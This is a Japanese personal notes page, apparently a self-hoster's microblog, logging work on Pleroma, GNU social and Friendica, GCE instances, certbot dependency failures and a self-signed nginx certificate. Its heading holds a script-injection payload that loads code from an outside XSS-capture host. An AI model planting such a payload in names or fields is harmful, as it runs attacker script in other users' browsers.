Skip to main content

"><script src=https://mjt.xss.ht> LTD

魚介豚骨ではないね。
馬鹿舌。

https://rocketnews24.com/2024/02/05/2167974/




きぼど


ワイヤレスミニキーボード買わないと。


GCE


慣れないな。
やれることが多すぎる割に
「あとで変更できません」。

インスタンス削除しまくり。


Steam deck


Ubuntuが使えそう。
Archは触ったことなくて。

https://qiita.com/wakin/items/bfcc019cc5a3353d14ae


作業


Pleroma再インストール。
kazunapl.f5.siで。
SSLもちゃんと。
gs/fr用インスタンス確保
LAMP導入、設定。
以下同文。


snapの


synapticみたいなのてどれ?
snapのmidori、馬鹿かよ。

GDBus.Error:org.freedesktop.DBus.Error.AccessDenied: An AppArmor policy prevents this sender from sending this message to this recipient; type="method_call", sender=":1.227" (uid=1000 pid=235269 comm="/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0/WebKitNet" label="snap.midori.midori (enforce)") interface="org.gtk.GLib.PACRunner" member="Lookup" error name="(unset)" requested_reply="0" destination=":1.157" (uid=1000 pid=215406 comm="/usr/libexec/glib-pacrunner " label="unconfined")

クソすぎて死ね。

SSLでないと駄目か。試してなかったな。
常時SSL設定も後日。
DDNSでSSL証明書も取れるのか。
これは後日だな。


GCE分割


9*3+3、後を考えると 2*3+24くらいか。
あとは名前か。
gs,fr,pl接頭か接尾かな。

まあ、考えているうちが楽しいな。


DDNS


ココが短くて良いなあ。
https://ddns.kuku.lu/



Tor


しさぶりにTorの世界を覗いたら、Hostingサービスあるのな笑。
http://fhostingineiwjg6cppciac2bemu42nwsupvvisihnczinok362qfrqd.onion/


とりあえず、


独り言はココ。
画像つきクソTweetはPrivetter。
GSjpは妹尾さんが面白い。
Twitterは見るだけかな。


意識他界系と言う言葉を知った。


自ドメイン


取るかどうか。
維持費がどーの。
飽きるからなあ、良いか?


PL自からのRelay、


こっちがエラー500を返してるっぽい。なんでだよ。
このエントリは編集されました (2年前)
GSjpも500返すのに、GS自はRelayできる。なぜ。


Twitter、書き込むだけなら、APIいらぬよな。
https://twitter.com/intent/tweet?text=テキスト&url=対象ページURL
で事足りる。
target _blankでできるし、Privetterはそうしてる。
究極、連携もいらない。
Selenium使えば、自動化も。



いまんとこ、Friendicaが最有力。
>JSが必要
>Fedに繋がる方法は?


画像


添付方法が独自だなあ。


セキュリティコードが取れぬ。


<blockquote class="twitter-tweet">
(ツイート埋め込み処理中)
<a href="https://twitter.com/nishishi/status/1277915695032893440">tweet</a>
</blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>



APIなしtwitter投稿


https://self-development.info/twitter-api%E3%82%92%E4%BD%BF%E3%82%8F%E3%81%9A%E3%81%ABpython%E3%81%A7%E8%87%AA%E5%8B%95%E3%83%84%E3%82%A4%E3%83%BC%E3%83%88%E3%82%92%E5%AE%9F%E7%8F%BE/

https://www.nishishi.com/blog/2020/07/twitter_no_api.html

apt update
apt autoremove
apt-add-repository 'deb http://cz.archive.ubuntu.com/ubuntu focal main'
apt install libtinfo6
これもか。

root@kazuna-1:/home/ubuntu# apt install certbot
Reading package lists... Done
Building dependency tree
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
certbot : Depends: python3-certbot (= 0.27.0-1~ubuntu18.04.2) but it is not going to be installed
E: Unable to correct problems, you have held broken packages.
root@kazuna-1:/home/ubuntu# apt install python3-certbot
Reading package lists... Done
Building dependency tree
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
python3-certbot : Depends: python3-zope.component but it is not going to be installed
E: Unable to correct problems, you have held broken packages.
root@kazuna-1:/home/ubuntu# apt install python3-zope.component
Reading package lists... Done
Building dependency tree
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:
The following packages have unmet dependencies:
python3-zope.component : Depends: python3-zope.hookable but it is not going tobe installed
E: Unable to correct problems, you have held broken packages.
root@kazuna-1:/home/ubuntu# apt install python3-zope.hookable
Reading package lists... Done
Building dependency tree
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
python3-zope.hookable : Depends: python3 (< 3.7) but 3.8.2-0ubuntu2 is to be installed
E: Unable to correct problems, you have held broken packages.
root@kazuna-1:/home/ubuntu# apt install python3
Reading package lists... Done
Building dependency tree
Reading state information... Done
python3 is already the newest version (3.8.2-0ubuntu2).
0 upgraded, 0 newly installed, 0 to remove and 920 not upgraded.
これだけで動いた。
変にいじらない。
あと少しURIが変
OK
https://localhost-kazuna-1.paiza-user-free.cloud:4000/main/friends
NG
https://kazuna-1.paiza-user-free.cloud/

GCEも18.04が良いかも。



今後


Pleroma on GCE SSLなしで作ってみる。
GnuSocialのSSL化。再インストールか。
FriendicaSocialContact これも再インストール?
FD
RewriteBase /
RewriteBase /kazun.s239.xrea.com/
で404かInternalServerError
オレオレPL
Installing on Linux using OTP releases
https://docs-develop.pleroma.social/backend/installation/otp_en/

https://35.197.57.185
35.197.57.185

SSL 1.1.1
wget from http://security.ubuntu.com/ubuntu/pool/main/o/openssl/
dpkg -i libssl1.1_1.1.1-1ubuntu2.1~18.04.21_amd64.deb
dpkg -i libssl-dev_1.1.1-1ubuntu2.1~18.04.21_amd64.deb

生IPでは取れないのか
certbot -v certonly --standalone --preferred-challenges http -d 35.197.57.185
Requested name 35.197.57.185 is an IP address. The Let's Encrypt certificate authority will not issue certificates for a bare IP address.

#オレオレ
#秘密鍵を作成
openssl genrsa -out /etc/oreore.key 2048
# CSRを作成
openssl req -new -key /etc/oreore/server.key -out /etc/oreore/server.csr
# CRT(有効期限10年)を作成
openssl x509 -days 3650 -req -signkey /etc/oreore/server.key -in /etc/oreore/server.csr -out /etc/oreore/server.crt

vi /etc/nginx/sites-enabled/pleroma.conf
# ssl_trusted_certificate /etc/letsencrypt/live/example.tld/chain.pem;
ssl_certificate /etc/oreore/server.crt;
ssl_certificate_key /etc/oreore/server.key;


外サーバから見えぬのか。